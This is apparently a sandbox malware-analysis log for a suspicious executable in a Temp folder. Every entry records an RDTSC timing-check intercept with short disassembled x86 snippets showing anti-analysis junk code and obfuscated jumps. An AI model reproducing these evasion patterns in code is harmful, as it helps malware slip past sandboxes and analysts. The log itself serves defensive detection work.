Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6DCF4 second address: C6DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F10A8C33EFBh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6DD11 second address: C6DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F10A8DE1CD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6DD1B second address: C6DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6DD21 second address: C6DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6DD27 second address: C6DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E122 second address: C6E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E137 second address: C6E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F10A8C33EFDh 0x0000000b jmp 00007F10A8C33F03h 0x00000010 jmp 00007F10A8C33F09h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007F10A8C33F00h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E18F second address: C6E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E193 second address: C6E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E44A second address: C6E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E44E second address: C6E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007F10A8C33EF6h 0x00000008 jmp 00007F10A8C33F06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E46E second address: C6E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E474 second address: C6E478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E478 second address: C6E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E494 second address: C6E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E498 second address: C6E49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E5D8 second address: C6E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F10A8C33F01h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E5EF second address: C6E5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E5FA second address: C6E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F10A8C33EF6h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F10A8C33EFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F10A8C33EFFh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E628 second address: C6E644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E644 second address: C6E64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E64A second address: C6E654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F10A8DE1CD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C6E654 second address: C6E658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C40 second address: C70C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C46 second address: C70C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C4A second address: C70C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F10A8DE1CD6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C5E second address: C70C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C64 second address: C70C6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F10A8DE1CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C6E second address: C70C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C7D second address: C70C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70C81 second address: C70C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70D26 second address: C70D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70E7D second address: C70EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007F10A8C33F00h 0x0000000c jmp 00007F10A8C33EFAh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jns 00007F10A8C33EFCh 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F10A8C33EF6h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70EAE second address: C70EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70EB8 second address: C70EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70EDA second address: C70EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70EF2 second address: C70EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70EF8 second address: C70F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 add dword ptr [ebp+122D3356h], ecx 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F10A8DE1CD8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+124556D6h], edx 0x00000031 push 00000000h 0x00000033 mov edx, dword ptr [ebp+122D2E5Dh] 0x00000039 push 00000003h 0x0000003b sbb cx, 3F32h 0x00000040 call 00007F10A8DE1CD9h 0x00000045 jmp 00007F10A8DE1CDEh 0x0000004a push eax 0x0000004b push edi 0x0000004c push ebx 0x0000004d jnp 00007F10A8DE1CD6h 0x00000053 pop ebx 0x00000054 pop edi 0x00000055 mov eax, dword ptr [esp+04h] 0x00000059 jmp 00007F10A8DE1CE2h 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push edi 0x00000063 jmp 00007F10A8DE1CE8h 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70F99 second address: C70FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F10A8C33EF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70FA3 second address: C70FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70FA7 second address: C70FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F10A8C33EFEh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70FC7 second address: C70FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b and si, 3141h 0x00000010 lea ebx, dword ptr [ebp+12456B38h] 0x00000016 mov ecx, dword ptr [ebp+122D2DC1h] 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C70FEA second address: C70FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C7105F second address: C71083 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F10A8DE1CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F10A8DE1CDCh 0x00000010 jno 00007F10A8DE1CD6h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jnp 00007F10A8DE1CD6h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C71083 second address: C710B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnc 00007F10A8C33EFCh 0x00000010 push 00000000h 0x00000012 push D81555CEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C710B9 second address: C710BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C710BD second address: C710C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C710C3 second address: C7114A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F10A8DE1CD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 27EAAAB2h 0x00000011 jnc 00007F10A8DE1CDCh 0x00000017 mov edx, dword ptr [ebp+122D1C10h] 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F10A8DE1CD8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1C10h], edx 0x0000003f push 00000000h 0x00000041 jmp 00007F10A8DE1CE0h 0x00000046 call 00007F10A8DE1CE2h 0x0000004b pop esi 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D1DDAh], ecx 0x00000054 push 9FBFF55Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F10A8DE1CD8h 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C83E5D second address: C83E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C92791 second address: C9279C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F10A8DE1CD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C90965 second address: C9096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9096B second address: C9097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F10A8DE1CDEh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9097E second address: C90988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F10A8C33EF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C90988 second address: C9098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9098C second address: C909A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33EFEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91058 second address: C91060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9132E second address: C91332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91332 second address: C91347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91347 second address: C91367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F10A8C33F08h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9160E second address: C91632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F10A8DE1CEEh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91632 second address: C91638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91638 second address: C9163C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9163C second address: C91640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91640 second address: C91646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91E6F second address: C91E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91E77 second address: C91E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F10A8DE1CE0h 0x0000000b jnp 00007F10A8DE1CD6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91E9D second address: C91EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F10A8C33F08h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C91EC1 second address: C91EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C922FF second address: C92304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C92304 second address: C92316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F10A8DE1CD6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C925D3 second address: C925D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C925D9 second address: C925FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e je 00007F10A8DE1CD6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C925FC second address: C92602 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C92602 second address: C92608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C96A64 second address: C96A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C96A6A second address: C96A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C96A6E second address: C96A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F10A8C33F0Dh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F10A8C33F05h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C96A93 second address: C96A9D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F10A8DE1CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C989B1 second address: C989B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9A16E second address: C9A18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F10A8DE1CE4h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9A18D second address: C9A194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
